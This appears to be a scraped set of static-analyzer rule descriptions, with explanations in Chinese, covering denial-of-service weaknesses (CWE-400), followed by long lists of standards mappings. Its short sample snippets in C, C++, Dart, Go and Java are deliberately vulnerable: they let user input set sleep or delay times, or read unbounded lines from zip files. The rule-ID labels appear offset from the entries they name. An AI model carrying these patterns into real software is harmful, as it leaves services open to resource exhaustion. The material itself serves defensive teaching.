[1] By Arvin Kahbazi, Maarten Balliauw, and Rick Anderson Rate limiting middleware in ASP.NET Core Microsoft
[2] P, Ferguson Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing Cisco Systems
[3] Standards Mapping - Common Weakness Enumeration CWE ID 400
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[7] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[9] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[10] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[12] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[13] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[14] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.asp_dotnet_core_rate_limitting_denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。

示例 1:以下代码允许用户指定当前进程处于休眠状态的时长。通过指定一个较大的数字,攻击者便可以无限期地阻碍进程。


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cpp.denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。

示例 1:通过以下代码,用户可以指定线程处于休眠状态的时长。通过指定一个较大的数值,攻击者可以无限期地占用该线程。因此,只需少量的请求,攻击者就能耗尽应用程序的线程池。


Sleep(url.duration);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cfml.denial_of_service
Abstract
攻击者可能会引发程序崩溃,也可能导致合法用户无法使用。
Explanation
攻击者可能向应用程序发送大量请求,促使应用程序拒绝向合法用户提供服务,但通常可以在网络层化解泛洪攻击。如果存在 Bug,情况将变得更加糟糕,攻击者通过少量请求即可引发应用程序过载。攻击者可以通过此类 Bug 指定请求消耗的系统资源量或资源使用持续时间。

示例 1:以下代码允许用户指定 Future 函数的执行时间。如果指定较大的数字,则攻击者可能会无限期地占用 Future 函数。


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service
Abstract
攻击者可能会引发程序崩溃,也可能导致合法用户无法使用。
Explanation
攻击者可能向应用程序发送大量请求,促使应用程序拒绝向合法用户提供服务,但通常可以在网络层化解泛洪攻击。如果存在 Bug,情况将变得更加糟糕,攻击者通过少量请求即可引发应用程序过载。攻击者可以通过此类 Bug 指定请求消耗的系统资源量或资源使用持续时间。

示例 1:如果攻击者设置了较大的值,使用不受信任的数据设置服务超时可能会导致服务无响应。


func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 400
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service
Abstract
攻击者可以造成程序崩溃或使合法用户无法进行使用。
Explanation
攻击者可能通过对应用程序发送大量请求,而使它拒绝对合法用户的服务,但是这种攻击形式经常会在网络层就被排除掉了。更加严重的是那些只需要使用少量请求就可以使得攻击者让应用程序过载的 bug。这种 bug 允许攻击者去指定请求使用系统资源的数量,或者是持续使用这些系统资源的时间。

示例 1:通过以下代码,用户可以指定线程处于休眠状态的时长。通过指定一个较大的数值,攻击者可以无限期地占用该线程。因此,只需少量的请求,攻击者就能耗尽应用程序的线程池。


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
示例 2:以下代码从一个 zip 文件中读取字符串。因为它使用 readLine() 方法,所以可以读取一批极大量的输入。攻击者能够利用该代码引发一个 OutOfMemoryException 异常,或者消耗大量的内存,从而致使程序需要更多的时间去执行垃圾信息的收集,或在随后的操作过程中用完内存资源。


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 400
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[13] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
